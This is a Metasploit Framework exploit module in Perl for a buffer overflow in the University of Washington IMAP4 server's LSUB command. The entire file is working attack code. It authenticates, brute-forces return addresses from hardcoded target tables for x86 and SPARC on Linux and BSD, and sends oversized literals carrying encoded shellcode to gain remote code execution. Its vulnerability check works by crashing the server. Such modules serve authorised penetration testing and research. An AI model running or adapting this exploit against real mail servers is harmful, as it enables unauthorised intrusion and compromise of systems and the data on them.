
##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::uow_imap4_lsub;
use base "Msf::Exploit";
use strict;
use Pex::Text;

my $advanced = { };
my $info =
  {
	'Name'  => 'University of Washington IMAP4 LSUB Overflow',
	'Version'  => '$Revision: 1.21 $',
	'Authors' => [ 'vlad902 <vlad902 [at] gmail.com>', ],

	'Arch'  => [ 'x86', 'sparc' ],
	'OS'    => [ 'bsd', 'linux' ],
	'Priv'  => 0,

	'UserOpts'  =>
	  {
		'RHOST' => [1, 'ADDR', 'The target address'],
		'RPORT' => [1, 'PORT', 'The target port', 143],
		'USER'  => [1, 'DATA', 'User name'],
		'PASS'  => [1, 'DATA', 'Password'],
		'SSL'   => [0, 'BOOL', 'Use SSL'],
	  },

	'Payload' =>
	  {
		'Space'  => 680,
		'MinNops'=> 400,
		'BadChars'  => "\x00/",
		'Keys'   => ['+findsock', '+inetd'],
	  },

	'Description'  => Pex::Text::Freeform(qq{
		This exploits a buffer overflow in the LSUB command. An overly long
		argument causes a classic stack buffer overflow.
}),

	'Refs'  =>
	  [
		['BID', '1110'],
		['OSVDB', '12037'],
		['MIL', '71'],
	  ],

	'Targets' =>
	  [
		[ "Linux / x86 stack bruteforce", 0, 0xbffffdfc, 0xbfa00000, 400, 1064, \&Payloadx86 ],
		[ "FreeBSD / x86 stack bruteforce", 0, 0xbfbffdfc, 0xbf100000, 400, 1064, \&Payloadx86 ],
		[ "Linux+FreeBSD+NetBSD / x86 heap bruteforce", 1, 0x0804d000, 0x081f0000, -400, 1064, \&Payloadx86 ],

# These 2 could be consolidated and you'd get 5-6 useless hits on Linux but it's better this way.
		[ "Linux / sun4m stack bruteforce", 0, 0xefffeca0, 0xefa00000, 744, 1104, \&PayloadSPARC ],
		[ "NetBSD / sun4m stack bruteforce", 0, 0xeffffca0, 0xefa00000, 744, 1104, \&PayloadSPARC ],
		[ "OpenBSD / sun4m stack bruteforce", 0, 0xf7fffca0, 0xf7a00000, 744, 1104, \&PayloadSPARC ],
	  ],

	'Keys'  => ['imap'],

	'DisclosureDate' => 'Apr 16 2000',
  };

sub new {
	my $class = shift;
	my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
	return($self);
}

sub Exploit {
	my $self = shift;
	my $target_idx  = $self->GetVar('TARGET');
	my $shellcode   = $self->GetVar('EncodedPayload')->Payload;

	my $target = $self->Targets->[$target_idx];

	my $curr_ret;

	$self->PrintLine(sprintf("[*] Starting bruteforce mode for target %s.", $target->[0]));

	for (
		$curr_ret  = $target->[2];
		($target->[1] == 0 && $curr_ret >= $target->[3]) || ($target->[1] == 1 && $curr_ret <= $target->[3]);
		$curr_ret -= $target->[4]
	  )
	{
		if(!($curr_ret & 0xff) || ($curr_ret & 0xff) == 0x20)
		{
			$curr_ret += 8;
		}
		if(!($curr_ret & 0xff00) || ($curr_ret & 0xff00) == 0x2000)
		{
			$curr_ret -= 0x0100;
		}

		my $s = Login($self);
		if($s == -1)
		{
			return;
		}

		$self->PrintLine(sprintf("[*] Trying return address 0x%.8x...", $curr_ret));
		$s->Send(sprintf("1 LSUB \"\" {%i}\r\n", $target->[5]));
		$s->Recv(-1);
		$s->Send($target->[6]->($curr_ret, $shellcode) . "\r\n");

		$self->Handler($s);
		$s->Close();
		undef($s);
	}

	return;
}

sub Check {
	my $self = shift;

	my $s = Login($self);
	if($s == -1)
	{
		return;
	}

	$s->Send("1 LSUB \"\" {1096}\r\n");
	$s->Recv(-1);
	$s->Send(Pex::Text::AlphaNumText(1096) . "\r\n");
	my $reply = $s->Recv(-1);

	if(!$reply)
	{
		$self->PrintLine("[*] Vulnerable server.");
		return $self->CheckCode('Confirmed');
	}

	$self->PrintLine("[*] Server is probably not vulnerable.");
	return $self->CheckCode('Safe');
}

sub Login {
	my $self = shift;

	my $user = $self->GetVar('USER');
	my $pass = $self->GetVar('PASS');

	my $sock = Msf::Socket::Tcp->new
	  (
		'PeerAddr'  => $self->GetVar('RHOST'),
		'PeerPort'  => $self->GetVar('RPORT'),
		'LocalPort' => $self->GetVar('CPORT'),
		'SSL'       => $self->GetVar('SSL'),
	  );
	if ($sock->IsError) {
		$self->PrintLine('[*] Error creating socket: ' . $sock->GetError);
		return -1;
	}

	$sock->Recv(-1);
	$sock->Send(sprintf("1 LOGIN \"%s\" \"%s\"\r\n", $user, $pass));
	my $reply = $sock->Recv(-1);
	if(!$reply || $reply !~ /1 OK/)
	{
		$self->PrintLine('[*] Authentication failed.');
		return -1;
	}
	undef($reply);

	return $sock;
}

sub Payloadx86 {
	my $ret = shift;
	my $sc = shift;

	my $buf;

	# XXX: More precise.
	$buf = $sc . pack("V", $ret) x 96;

	return $buf;
}

sub PayloadSPARC {
	my $ret = shift;
	my $sc = shift;

	my $buf;

	$buf = substr($sc, 0, 1032 - 680) . $sc . pack("N", $ret - 32) x 15 . pack("N", $ret) x 3;

	return $buf;
}
